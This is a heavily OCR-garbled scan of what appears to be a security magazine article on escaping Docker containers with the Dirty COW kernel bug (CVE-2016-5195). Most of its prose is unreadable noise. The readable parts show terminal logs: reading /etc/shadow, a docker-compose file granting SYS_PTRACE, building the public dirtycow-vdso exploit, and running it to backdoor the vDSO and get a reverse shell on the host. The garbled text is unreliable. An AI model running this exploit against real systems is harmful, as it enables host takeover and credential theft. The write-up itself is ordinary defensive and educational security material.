dvarhtmp - 44 <4 -0tk RE'sy X1 {Corthipers 1 x . o+ 4. X x T x 7

[root@PE /]# cd /var/tmp/
[root@E tmpl# 1s
:if%‘u" etc home 1ib 1ib64 media mnt

« X PCoritainer pdcd  BockerHost - I .~ . 144 x©  pos o X0y
L
ir(:ot'[ﬂPE tm'pj# cat etc/shadow
:99999:7:::
~ o~ S - v 1 DigitalWhispers« 4___ + _ _ v XS s _ 1 - X . ] s .
N Y N S X v x5 Docker HosE” L1 17 x «
Docker Host L
chroot _ « * . Privilegeé Escalation, * « 1 *  sConfaihe¥s s:¢.s{ . { > 41 | *s X

s hoxx 01 L ix e x4 0 s Avarktmpt S 4 4 x4

a
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Linux Kernef* s 1 x 1 Containers, * s 1-44 X4 * . . |

Kernehh -~ " 4417 x« o1 -1 _ 1 sDocket *HTs rdHE Is {44 Ts
Pl Yy x s Sx xS N x 7 Hypérvisor ~ % N 1 spd ] e x 9x, T xosx
s 1 x 1 1 x Ceéntainer N xBDockerHost L | S v L CX ] s % Y O es x T

~ ~ ~> ~

.Docker Host s Kernel*

-7 11999 -7 cue Details,~ - +  ALinux Kernet s _ . x 1 4 s ¢ 1. 0%

DX _18% ¥_.". 2013 " _  hinwiKemel < x _Lx1 s*.,s {PBL5 X+ . _" s
DX 386 A . 2017 ¢ x 4% *2017 ":)" Sk M R~ 2016": " . A4S X

AT O A T N NS S S T BN DS R S, X X s x ]
I Txx 1wl sy x N Awd s s X ,s s 4 0 T e X
fox o Tx X X x|
Kernets .~ x Userand( "s " x 1 _s ) _ _ ¢ _ _s 2% ¢« Lihuy Kefneé¢é~. =+ { . x ¢
Kernels .~ xUserlands ~ x ¢~  Kernéds « 1 ¢ I - x {Y . s CX oL x s Cx X
FlldL s 1 e s ST L x systehealls 1:lL systemeall 4+ X * s
s 4L+~ D xsystern X « 4% « + Virtual Dyhaiic Shared GbjecyDSE  ~ . x 7
s L x 1 systeamicall- 1. *vDSG, - | _ x . s” J.systemeall «- 8L+ _ XL T 47
FA%L. *x .o 0 44« s 44 s x DistyfColl x by X PGWER20165195 Su T
LS T Ox DX Lo XX 0L S LY .
TS v XS ¢ POGs | s+ x "1, x's , x ¢ s Lx ] L

https://github.com/gebl/dirtycowdockervdso

Systems - x « { . % x4 sDocker L~ - Xs{_lIsTp {s* vy, y * x4 4 X
SYS PTRACE . x ] 4 s S XL . Containers I B I I S B L. , "
:dockercomposeymb ¥ x <X s ¢ L« f  Procesp- T L FdLy k%L e
version: '2'
services:
dirtycow:
build: .
restart: unless - stopped
cap_add:
- SYS_PTRACE
:‘DockerHost , 1. _sIP 5. @il ] < v {.”
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[root@ockerHost dirtycow-docker-vds # /sbin/ip addr
1: lo: 3ACK JP,LOWER mtu 65536 gdisc noqueue state UNKNOWN
H :00:00 brd 00:00:00:00:00:00

valid_ Ift fOIE\-IeI prefened 1ft forever

inet6 ::1/128 scope host
valid 1ft forever preferred 1ft forever
2: enol6777728: <BROADCAST,MULTIC ST UP, LOWER_UP> mtu 1500 gqdisc pfifo_fast state UP qlen 1000
link/ether 00:0c:29:e :15 b L ff
i 3.13 3.198 scope global dynamic enol6777728

valid lf‘t fmevel plefened 1ft forever
3: docker0: <B T,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc noqueue state UP
link/ether 2d:84:9e:5f brd ff:ff:ff:ff:ffiff
inet 172 1/16 s global docker@®
valid 1ft forever referred_1ft forever
inet6 fe80::42:2dff: feB84:9e5f/64 scope link
valid_Llft forever preferred lft forever

-S S B RN 192.168.198.1831 - Deécker Host  LIPs Cxex ] , o X e s .
:Exploits  * « o | Contdiners _ X « gjthub-_" x,” | ditrycew-dockervdso

>

docker - compose run dirtycow /bin/bash
cd dirtycow - vdso/
make

[root@ockerHost dirtycow-docker-vdsol# docker-compose run dirtycow /bin/bash
Creating network "dirtycowdockervdso default" with the default driver
Building dirtycow

root@1a0d6b54b73: /# cd dirtycow-vdso/
root@1a0d6b54b73: /dirtycow-vdso# make
nasm -f bin -o payload payload.s

xxd -i payload payload.h

cc -o Oxdeadbeef.o -c Oxdeadbeef.c -Wall
cc -o Oxdeadbeef Oxdeadbeef.o -lpthread

:Containers LIPs DXox o] - Y 4 .

root@1a@d6b54b73: /dirtycow-vdso# /sbin/ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
ck 00:00:00:00:00:00 brd 00:00:00:00:00:00
7 0.1/8 scope host lo
mlﬂ'ﬁtfmewn[ﬂﬁﬂlﬂ'ﬁtfm&%l
inet6 ::1/128 scope host

valid_1ft forever preferred 1ft forever
: eth®: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
inet 1 /16 scope global ethoO
valid_1ft forever preferred 1ft forever
inetb fe80::42:acff:fel /64 scope link
valid 1ft forever preferred 1ft forever
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Exploits  C o« .~ S . T b 4. XX T _Psx "I X Eixploits Y¥F_<1" XS4 " s

~ a

| ./oxdeadbeef 172.18.0.2 |

3 Oxdeadbeef 17
payload target:
exploit: tch ]
vdso successfully backdoored
exploit: patch 2/2
vdso successfully backdoored
waiting for reverse connect shell...
enjoy!
restore: patch 2/2
vdso successfully restored
restore: tch 1/2
vdso successfully restored
/sbin/ip addr
1:

vt 1 1/8 sc host lo
valid 1ft forever preferred 1ft forever
inet6 ::1/128 scope host
valid_1ft forever preferred_1lft forever
2: enol6777728: > ST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP glen 16000
link/ethe :
inet 1 68.198.131/24 brd 1 6 3.255
valid_ 16¢ c pref | 1ft 1696sec
inet6s fe80::20c:29ff: fee2 5/64 scope link
valid _1ft forever preferred_1ft forever
3: docker®: <BROAD 1 CAST,UP,LOWER_UP> mtu 1500 gdisc noqueue state UP

D bal docker0

forever preferred_1ft forever
inetb fe80::42:2dff:fe84:9e5f/64 scope link

forever preferred 1ft forever

-Docker Host | Containers 4 x - x 7 Exploits X w4 sS4

S0 1 411925168:198X31% $paddr (o« . s X L HIRE LD X x T4 4] Dx.,

Docker Host

2L X _ X, 8 -p X ],

T4 L. x o «wis ] ] Cantainers | Y xs T8 oSl 4] T

(Privileged) x s x xy o x <« ., s | |ICG {4 *¥xXs* Cdnfaipeyss , £ 4 ¢ X
x ux1 774+« x _LDocker Hosik *x 0 _ ,Kéerdek x * « 4 * 1 {ontainefs

Dockers ¢ - 1+~ 1 . Dockef* 4:1x, (¥ x7"]sx T x , 1 y s Docke&rs * ¥ "F* x| X
| x x

Sx ] X T4 ix o iDodkérs s X< X 4% DockefL Xk W K X405 |

10 1s . Ls e x ] o e o x 12007 4 s 0 s T 1 X

s | A R x "L 4" ox 1A . S N ., X

?ix o0 Txlmoos T x YDockef  S. 1, TesL Sedu X 1i0sT X q s
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1., . v+ _ _HH_ +s bdtkees™ . . s 11>+ x Béendhmark _ H Cksi |
?s <1 CGS

s x4l x . _ sDogkerd « X  MX T X0 e s 4 X
. bxo x 1 Kernels Dockers - " I x o s sso 0, A s x A7 ]
DockerHostt ~ x 7 * x« 0 s s 828 1],
. i¢c=fals¢ Containers = 1 * * » x < Docker d _ 1o L1 Xxs ., 4,3 x,1ys

.Privileged Containefs _ *{_+14_

Docker-s {1 * .~ _ + authénticatoni { _ ¥ 4 T x Y .Registryd A4 7 .54 11

.Host

.officialimage 1 x * _ 1 _ Officialimaged ,4~ # -+ Images*~ _«_~ OO

~ ~ ~

sl s x4 C T L ( * *xDockerxHbst 1 x * 4%« J I g x¢ x  x o x|
L, FY S o Dx s sy L 1*x 4 + (Contaihers,” 1-* " 4l 1.« ¢« :
D S Lox X qox
.Read onlyl] Containerss - ~ 'y s ., 8«s 1 4 X
SX L~ L. s. 4«1 .Dockers. - *14.*kogging c (X + ¥ 19 .4 _
cLx o x 1" s € s 4« DockerDaemont APP* <% K 2 xpl O, X ¢
.0.006. x: 14:
1 x dockersock _ * x «'s Cos . - Containers 1 x xd >*x x {y., A« q
docker : x I x < 1 x _container__, 1~_ *1"x_ " comtdiner- ~ + ¥ |
X 4X o, ~ 1 sy [~ 41+ L X 1A XX, Fd .12 X7 Pl
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https://dirt ycow.ninja/

https://blog.paranoidsoftware.com/dirtycow-cve-2016-5195dockercontainerescape/

http://man7.org/linux/man-pages/man2/ptrace.2.html

Fd 1T s L

~ N

SDLCH I 4 sxt s 4 0 1 1%« x coxd oy e d 17 A0 v WIXeTYXd 1 ]
www.ysgrd.net : 1"~ 17d ~ .ol

vigal@ysqrd.net : L 1 _ 1 -~

https://github.com/eyigal GitHub o

.Open Source * - B5 Networks - ~ * 1> | 1 _:RedlGamg -~ + % 19 _ x :
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realgam3@gmail.com: . 1 & _ 1 -~
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